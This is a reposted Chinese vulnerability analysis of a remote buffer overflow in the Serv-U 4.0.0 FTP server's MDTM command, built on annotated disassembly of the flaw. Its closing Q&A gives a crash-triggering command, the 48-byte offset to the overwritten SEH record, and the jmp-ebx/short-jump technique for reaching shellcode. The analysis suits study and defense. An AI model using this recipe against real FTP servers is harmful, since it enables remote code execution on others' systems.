登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 漏洞分析 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

Serv-U "MDTM"命令远程溢出分析
发表日期:2006-03-12作者:peak[转贴] 出处:安全焦点  

Serv-U "MDTM"命令远程溢出分析
                                       czy 于 04.02.29
    2月27号一早在securityfocus看到了这个漏洞的公告,上面清楚的说明了You must have a
valid user account and password to exploit it, and you are not need WRITE or any other privilege.
这不是比上次Serv-U那个site chmod的洞洞还利害,一想到不少电影网站都是用的Serv-U....
    好不在这儿废话了以下分析基于Serv-U Server 4.0.0版,只分析"MDTM"命令溢出的情况。
    事实上,Serv-U在处理MDTM命令时,很多地方都有长度判断,但是,有一个地方他遗漏了,那么,我们的机会就来了:-)

漏洞函数引用关系如下:

loc_434748 [0]
|
call    loc_41FAE8 [1]
|
|__call    sub_59BFB8(strncpy)
|__call    sub_4422A4
            |
            |__ jmp    sub_41FBB6 [2]
                 |
                 |__call    sub_59BEB1
                 |__call    sub_59BDA4(strlen)        
                 |__call    sub_59BFB8(strncpy)\__分别调用了六次,用来把年月日时分秒放到变量中
                 |__call    sub_5A4008         /
                      ...........
                      |__loc_41FD99[3]
                         |__loc_41FDC3(strcpy) [4] 洞洞出来啦,覆盖程序自身异常处理函数地址
                             |__loc_41FE16
                                 |__loc_41FE30 [5]
                                    |
                                    |__call    sub_59BDA4(strlen)    
                                    |__call    sub_59BC1C(strncpy) 触发程序异常处理


[0]判断是否是"MDTM"命令

loc_434748:                             ; CODE XREF: .text:0043473A
.text:00434748                 push    4                    //比较四个字节
.text:0043474A                 push    edi                  //edi存放命令字串的首地址
.text:0043474B                 lea     eax, [esi+354h]
.text:00434751                 push    eax                  // 得到命令列表
.text:00434752                 call    near ptr unk_59C008  // 相当于Strncmp
.text:00434757                 add     esp, 0Ch
.text:0043475A                 test    eax, eax
.text:0043475C                 jnz     short loc_43476D     //不是MDTM的话比较下一个命令SITE
.text:0043475E                 push    edi                  //第二个参数是命令字串的首地址
.text:0043475F                 push    ebx
.text:00434760                 call    loc_41FAE8           //相同的话跳到MDTM命令处理函数
.text:00434765                 add     esp, 8
.text:00434768                 jmp     loc_434AC7          


[1] 具体处理MDTM命令函数

.text:0041FAE8 sub_41FAE8      proc near               ; CODE XREF: sub_434244+51Cp
.text:0041FAE8                 push    ebp
.text:0041FAE9                 mov     ebp, esp
.text:0041FAEB                 add     esp, 0FFFFF004h         //为本地变量分配空间
.text:0041FAF1                 push    eax
.text:0041FAF2                 add     esp, 0FFFFFC74h         //为本地变量分配空间
.text:0041FAF8                 mov     eax, offset unk_59C243  //重要程序自已的异常处理函数入口
.text:0041FAFD                 xor     edx, edx
.text:0041FAFF                 push    ebx
.text:0041FB00                 push    esi
.text:0041FB01                 push    edi
.text:0041FB02                 mov     ebx, [ebp+8]            //处理第一个参数
.text:0041FB05                 mov     dword ptr [ebp-4Ch], offset unk_5B8520  
.text:0041FB0C                 mov     [ebp-48h], esp

.text:0041FB0F                 mov     [ebp-50h], eax         //重要建立ERR结构的第二个成员
                                   //也就是程序自已的异常处理函数入口
.text:0041FB12                 mov     word ptr [ebp-44h], 0
.text:0041FB18                 mov     [ebp-38h], edx

.text:0041FB1B                 mov     ecx, large fs:0        //重要得到上一个ERR结构地址
.text:0041FB22                 mov     [ebp-54h], ecx         //建立ERR结构的第一个成员
.text:0041FB25                 lea     eax, [ebp-54h]         //得到当前ERR结构的地址(017AD280)
.text:0041FB28                 mov     large fs:0, eax        //放到fs:[0]中,这样如果这段代码
                                  //出错的话就会执行ebp-50里的的函数
.text:0041FB2E                 mov     byte ptr [ebp-55h], 0
.text:0041FB32                 mov     byte ptr [ebp-56h], 0
/////////////////////////////////////////////////////
程序正常的栈情况如下:
ebp-56 017AD27E 00
ebp-55 017AD27F 00
epb-54 017AD280 40
ebp-53 017AD281 E2
ebp-52 017AD282 7A
ebp-51 017AD283 01 017AE240的值指向上一个ERR结构
ebp-50 017AD284 43
ebp-4F 017AD285 C2
ebp-4E 017AD286 59
ebp-4D 017AD287 00 0059C243是程序自已的异常处理函数入口

////////////////////////////////////////////////////
.text:0041FB36                 xor     edx, edx
.text:0041FB38                 mov     [ebp-74h], edx
.text:0041FB3B                 mov     [ebp-70h], edx
.text:0041FB3E                 mov     [ebp-6Ch], edx
.text:0041FB41                 mov     [ebp-68h], edx
.text:0041FB44                 mov     [ebp-64h], edx
.text:0041FB47                 mov     [ebp-60h], edx
.text:0041FB4A                 mov     [ebp-5Ch], edx    //本地变量给初值0
.text:0041FB4D                 push    7FFh
.text:0041FB52                 mov     eax, [ebp+0Ch]    //处理第二个参数也就是命令字串的地址
.text:0041FB55                 add     eax, 4            //去除命令字串开头的MDTM
.text:0041FB58                 push    eax
.text:0041FB59                 lea     ecx, [ebp-9FCh]
.text:0041FB5F                 push    ecx
.text:0041FB60                 call    sub_59BFB8        //相当于strncpy把命令拷到本地变量ebp-9fch中
                             //长度不超过2KB
.text:0041FB65                 add     esp, 0Ch
.text:0041FB68                 lea     eax, [ebp-9FCh]
.text:0041FB6E                 mov     byte ptr [ebp-1FDh], 0
.text:0041FB75                 push    eax
.text:0041FB76                 call    sub_4422A4        //对字串进行再一步处理去除MDTM与
                             //命令中间的那个空格,命令后面的回车
                                            //还要判断命令是否为空
.text:0041FB7B                 cmp     byte ptr [ebp-9FCh], 0
.text:0041FB82                 pop     ecx
.text:0041FB83                 jnz     short loc_41FBB6  //合法的话跳

[2] 对时间区域进行处理检测

.text:0041FBB6 loc_41FBB6:                             ; CODE XREF: sub_41FAE8+9Bj
.text:0041FBB6                 push    20h
.text:0041FBB8                 lea     edx, [ebp+var_9FC]   //ebp-9fc中存放全部命令
.text:0041FBBE                 push    edx
.text:0041FBBF                 call    sub_59BEB1           //找命令中的空格找到后把空格后
                                //的地址放在ebp-78中,也就是找文件名
.text:0041FBC4                 add     esp, 8
.text:0041FBC7                 mov     [ebp+var_78], eax
.text:0041FBCA                 test    eax, eax
.text:0041FBCC                 jz      loc_41FE6D           //没有找到文件名跳,跳过去将处理
                                //mdtm autoexec.bat这类看文件时间的命令
.text:0041FBD2                 lea     edx, [ebp+var_9FC]
.text:0041FBD8                 push    edx
.text:0041FBD9                 call    sub_59BDA4           //得到命令长度
.text:0041FBDE                 pop     ecx
.text:0041FBDF                 cmp     eax, 10h             //命令长度小于16跳
.text:0041FBE2                 jb      loc_41FE6D
.text:0041FBE8                 lea     ecx, [ebp+var_9FC]
.text:0041FBEE                 mov     eax, [ebp+var_78]
.text:0041FBF1                 sub     eax, ecx             //得时间区域长度不要紧张这儿没洞洞
.text:0041FBF3                 cmp     eax, 0Eh
.text:0041FBF6                 jl      loc_41FE6D           //必须是大于等于14字节
.text:0041FBFC                 mov     [ebp+var_88], 1
.text:0041FC06                 xor     edi, edi
.text:0041FC08                 lea     esi, [ebp+var_9FC]
.text:0041FC0E
.text:0041FC0E loc_41FC0E:                             ; CODE XREF: sub_41FAE8+141j
.text:0041FC0E                 movsx   eax, byte ptr [esi]
.text:0041FC11                 push    eax
.text:0041FC12                 call    sub_5A1304
.text:0041FC17                 pop     ecx
.text:0041FC18                 test    eax, eax
.text:0041FC1A                 jnz     short loc_41FC24
.text:0041FC1C                 xor     edx, edx
.text:0041FC1E                 mov     [ebp+var_88], edx
.text:0041FC24
.text:0041FC24 loc_41FC24:                             ; CODE XREF: sub_41FAE8+132j
.text:0041FC24                 inc     edi
.text:0041FC25                 inc     esi
.text:0041FC26                 cmp     edi, 0Eh
.text:0041FC29                 jl      short loc_41FC0E
.text:0041FC2B                 cmp     [ebp+var_88], 0
.text:0041FC32                 jz      loc_41FD99             //判断时间区域的前14个字母
                                                              //如果不是数字跳到41fd99


//-----------------------
.text:0041FC38                 push    4
.text:0041FC3A                 lea     ecx, [ebp+var_9FC]
.text:0041FC40                 push    ecx
.text:0041FC41                 lea     eax, [ebp+var_84]
.text:0041FC47                 push    eax
.text:0041FC48                 call    sub_59BFB8
.text:0041FC4D                 add     esp, 0Ch
.text:0041FC50                 lea     edx, [ebp+var_84]
.text:0041FC56                 mov     [ebp+var_80], 0
.text:0041FC5A                 push    edx
.text:0041FC5B                 call    sub_5A4008
.text:0041FC60                 pop     ecx
.text:0041FC61                 mov     [ebp+var_5C], eax

.text:0041FC64                 push    2
.text:0041FC66                 lea     ecx, [ebp+var_9F8]
.text:0041FC6C                 push    ecx
.text:0041FC6D                 lea     eax, [ebp+var_84]
.text:0041FC73                 push    eax
.text:0041FC74                 call    sub_59BFB8
.text:0041FC79                 add     esp, 0Ch
.text:0041FC7C                 lea     edx, [ebp+var_84]
.text:0041FC82                 mov     [ebp+var_82], 0
.text:0041FC89                 push    edx
.text:0041FC8A                 call    sub_5A4008
.text:0041FC8F                 pop     ecx
.text:0041FC90                 mov     [ebp+var_60], eax

.text:0041FC93                 push    2
.text:0041FC95                 lea     ecx, [ebp+var_9F6]
.text:0041FC9B                 push    ecx
.text:0041FC9C                 lea     eax, [ebp+var_84]
.text:0041FCA2                 push    eax
.text:0041FCA3                 call    sub_59BFB8
.text:0041FCA8                 add     esp, 0Ch
.text:0041FCAB                 lea     edx, [ebp+var_84]
.text:0041FCB1                 mov     [ebp+var_82], 0
.text:0041FCB8                 push    edx
.text:0041FCB9                 call    sub_5A4008
.text:0041FCBE                 pop     ecx
.text:0041FCBF                 mov     [ebp+var_64], eax

.text:0041FCC2                 push    2
.text:0041FCC4                 lea     ecx, [ebp+var_9F4]
.text:0041FCCA                 push    ecx
.text:0041FCCB                 lea     eax, [ebp+var_84]
.text:0041FCD1                 push    eax
.text:0041FCD2                 call    sub_59BFB8
.text:0041FCD7                 add     esp, 0Ch
.text:0041FCDA                 lea     edx, [ebp+var_84]
.text:0041FCE0                 mov     [ebp+var_82], 0
.text:0041FCE7                 push    edx
.text:0041FCE8                 call    sub_5A4008
.text:0041FCED                 pop     ecx
.text:0041FCEE                 mov     [ebp+var_68], eax

.text:0041FCF1                 push    2
.text:0041FCF3                 lea     ecx, [ebp+var_9F2]
.text:0041FCF9                 push    ecx
.text:0041FCFA                 lea     eax, [ebp+var_84]
.text:0041FD00                 push    eax
.text:0041FD01                 call    sub_59BFB8
.text:0041FD06                 add     esp, 0Ch
.text:0041FD09                 lea     edx, [ebp+var_84]
.text:0041FD0F                 mov     [ebp+var_82], 0
.text:0041FD16                 push    edx
.text:0041FD17                 call    sub_5A4008
.text:0041FD1C                 pop     ecx
.text:0041FD1D                 mov     [ebp+var_6C], eax

.text:0041FD20                 push    2
.text:0041FD22                 lea     ecx, [ebp+var_9F0]  //得到命令中秒存放的位置
.text:0041FD28                 push    ecx
.text:0041FD29                 lea     eax, [ebp+var_84]   //变量地址
.text:0041FD2F                 push    eax
.text:0041FD30                 call    sub_59BFB8
.text:0041FD35                 add     esp, 0Ch
.text:0041FD38                 lea     edx, [ebp+var_84]
.text:0041FD3E                 mov     [ebp+var_82], 0
.text:0041FD45                 push    edx
.text:0041FD46                 call    sub_5A4008           //格式转化
.text:0041FD4B                 pop     ecx
.text:0041FD4C                 mov     [ebp+var_70], eax
//---------------上面的代码把年月日时分秒放到变量中
//具体如下:
年 ebp-5c
月 ebp-60
日 ebp-64
时 ebp-68
分 ebp-6c
秒 ebp-70
//对时间的正确性进行检验
.text:0041FD4F                 cmp     [ebp+var_5C], 7BCh          
.text:0041FD56                 jl      short loc_41FD91           //年小于1980跳
.text:0041FD58                 cmp     dword ptr [ebp-5Ch], 81Bh
.text:0041FD5F                 jg      short loc_41FD91            //年大于2075跳
.text:0041FD61                 cmp     dword ptr [ebp-60h], 1
.text:0041FD65                 jl      short loc_41FD91
.text:0041FD67                 cmp     dword ptr [ebp-60h], 0Ch  
.text:0041FD6B                 jg      short loc_41FD91            //月分只能是1-12
.text:0041FD6D                 cmp     dword ptr [ebp-64h], 1
.text:0041FD71                 jl      short loc_41FD91
.text:0041FD73                 cmp     dword ptr [ebp-64h], 1Fh
.text:0041FD77                 jg      short loc_41FD91            //号数只能是1-31
.text:0041FD79                 cmp     dword ptr [ebp-6Ch], 0
.text:0041FD7D                 jl      short loc_41FD91
.text:0041FD7F                 cmp     dword ptr [ebp-6Ch], 3Bh
.text:0041FD83                 jg      short loc_41FD91
.text:0041FD85                 cmp     dword ptr [ebp-70h], 0
.text:0041FD89                 jl      short loc_41FD91
.text:0041FD8B                 cmp     dword ptr [ebp-70h], 3Bh    //分秒只能是0-59
.text:0041FD8F                 jle     short loc_41FD99            //时间都合法了跳到41FD99



[3] 判断时间区域后面是否有+-号

.text:0041FD99
.text:0041FD99 loc_41FD99:                             ; CODE XREF: sub_41FAE8+14Aj
.text:0041FD99                                         ; sub_41FAE8+2A7j
.text:0041FD99                 cmp     [ebp+var_88], 0
.text:0041FDA0                 jz      loc_41FE30         //对于mdtm 20020201112233+111 autexec.bat这样的命令不跳
.text:0041FDA6                 movsx   eax, [ebp+var_9EE] //处理时间区域后的一个字串
.text:0041FDAD                 cmp     eax, 20h
.text:0041FDB0                 jz      short loc_41FE1C   //为空格跳
.text:0041FDB2                 movsx   eax, [ebp+var_9EE]
.text:0041FDB9                 cmp     eax, 2Dh
.text:0041FDBC                 jz      short loc_41FDC3   //为减号跳!
.text:0041FDBE                 cmp     eax, 2Bh
.text:0041FDC1                 jnz     short loc_41FE1C   //不为加号跳到41FE1C!


[4] 对时间区域有+-号的情况进行处理

.text:0041FDC3 loc_41FDC3:                            
.text:0041FDC3                 xor     edi, edi
.text:0041FDC5                 lea     eax, [ebp+var_84]    //得到时间区域的最后两位(ebp-84)
.text:0041FDCB                 lea     esi, [ebp+var_9EE]   //得到+号开始的地址
.text:0041FDD1                 jmp     short loc_41FDDA
.text:0041FDD3 loc_41FDD3:                            
.text:0041FDD3                 mov     dl, [esi]            
.text:0041FDD5                 inc     edi                  //edi为记数器
.text:0041FDD6                 mov     [eax], dl
.text:0041FDD8                 inc     eax
.text:0041FDD9                 inc     esi
.text:0041FDDA
.text:0041FDDA loc_41FDDA:                            
.text:0041FDDA                 movsx   ecx, byte ptr [esi]
.text:0041FDDD                 cmp     ecx, 20h
.text:0041FDE0                 jnz     short loc_41FDD3           //遇到空格退出

//----------------------上面就是漏洞代码程序本意是把时间区域加号后面的四个字节放在ebp-84变量中
//但没有对长度进行检查,所以不但会覆盖ebp-84,如果是一个超长字串的话还会把ebp-54,ebp-78等变理覆盖!


.text:0041FDE2                 mov     [ebp+edi+var_84], 0   //edi为考贝的字串长度,这儿是为拷过去的字中设置结尾符
.text:0041FDEA                 lea     eax, [ebp+var_84]
.text:0041FDF0                 push    eax
.text:0041FDF1                 call    sub_5A4008
.text:0041FDF6                 pop     ecx
.text:0041FDF7                 mov     [ebp+var_74], eax
.text:0041FDFA                 cmp     [ebp+var_74], 0FFFFFC18h //比较+号后面的时间是否小于-1000
.text:0041FE01                 jl      short loc_41FE0C
.text:0041FE03                 cmp     [ebp+var_74], 3E8h
.text:0041FE0A                 jle     short loc_41FE16         //是否大于等于+1000
.text:0041FE0C
.text:0041FE0C loc_41FE0C:                            
.text:0041FE0C                 xor     eax, eax
.text:0041FE0E                 mov     [ebp+var_88], eax
.text:0041FE14                 jmp     short loc_41FE30

.text:0041FE16 loc_41FE16:                            
.text:0041FE16                 mov     [ebp+var_56], 1           //设置ebp-56为1
.text:0041FE1A                 jmp     short loc_41FE30
.text:0041FE1C loc_41FE1C:                            
.text:0041FE1C                                        
.text:0041FE1C                 movsx   edx, [ebp+var_9EE]
.text:0041FE23                 cmp     edx, 20h
.text:0041FE26                 jz      short loc_41FE30
.text:0041FE28                 xor     ecx, ecx
.text:0041FE2A                 mov     [ebp+var_88], ecx

[5] 拷贝要更改时间的文件名到一个变量中
.text:0041FE30 loc_41FE30:                            
.text:0041FE30                                        
.text:0041FE30                 cmp     [ebp+var_88], 0           //设置的时间小于-1000时ebp-88为0跳
.text:0041FE37                 jz      short loc_41FE6D
.text:0041FE39                 mov     [ebp+var_55], 1
.text:0041FE3D                 lea     eax, [ebp+var_9FC]        //得到+号后的命令长度
.text:0041FE43                 push    eax
.text:0041FE44                 call    sub_59BDA4
.text:0041FE49                 pop     ecx
.text:0041FE4A                 inc     eax
.text:0041FE4B                 push    eax                       //拷贝的个数
.text:0041FE4C                 mov     edx, [ebp+var_78]         //ebp-78为源地址存放文件名
.text:0041FE4F                 inc     edx
.text:0041FE50                 push    edx
.text:0041FE51                 lea     ecx, [ebp+var_9FC]        //本来存放命令字串,现在是拷贝的目的地址
.text:0041FE57                 push    ecx
.text:0041FE58                 call    sub_59BC1C
.text:0041FE5D                 add     esp, 0Ch
.text:0041FE60                 lea     eax, [ebp+var_9FC]
.text:0041FE66                 push    eax
.text:0041FE67                 call    sub_4422A4
.text:0041FE6C                 pop     ecx

Q&A:
[1]为什么执行到loc_41FE30处会产生程序异常呢?
   因为ebp-78这个变量的值本来是要改变文件时间的文件名的地址,但是由于在loc_41FDC3处
对变量ebp-84的操作中会覆盖它的值,如果我们输入命令
quote mdtm 20020102112233+aaaaaaaaaaaaaaaaaaaaaaaaaa /autoexec.bat
那么这时ebp-78的值就成了61616161,而这个地址是不能仿问的,当然就产生异常了.

[2]产生异常后我们怎么执行代码呢?
   在分析刚开始的时候我们已经知道程序正常的异常处理程序入口在ebp-50中,那么我们只能把
系统中有jmp ebx的代码的地址放到ebp-50中就可以了.然后ebp-54中放入nop nop jmp 6(9090EB04)

[3]要发送多少个A才能刚好覆盖ebp-50,ebp-54呢?
   84h-54h=30h=48d

[4]我还不知道怎么利用SEH执行SHELLCODE怎么办?
利用SEH执行shellcode
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1964

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 Serv-U "MDTM"命令远程溢出分析

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00226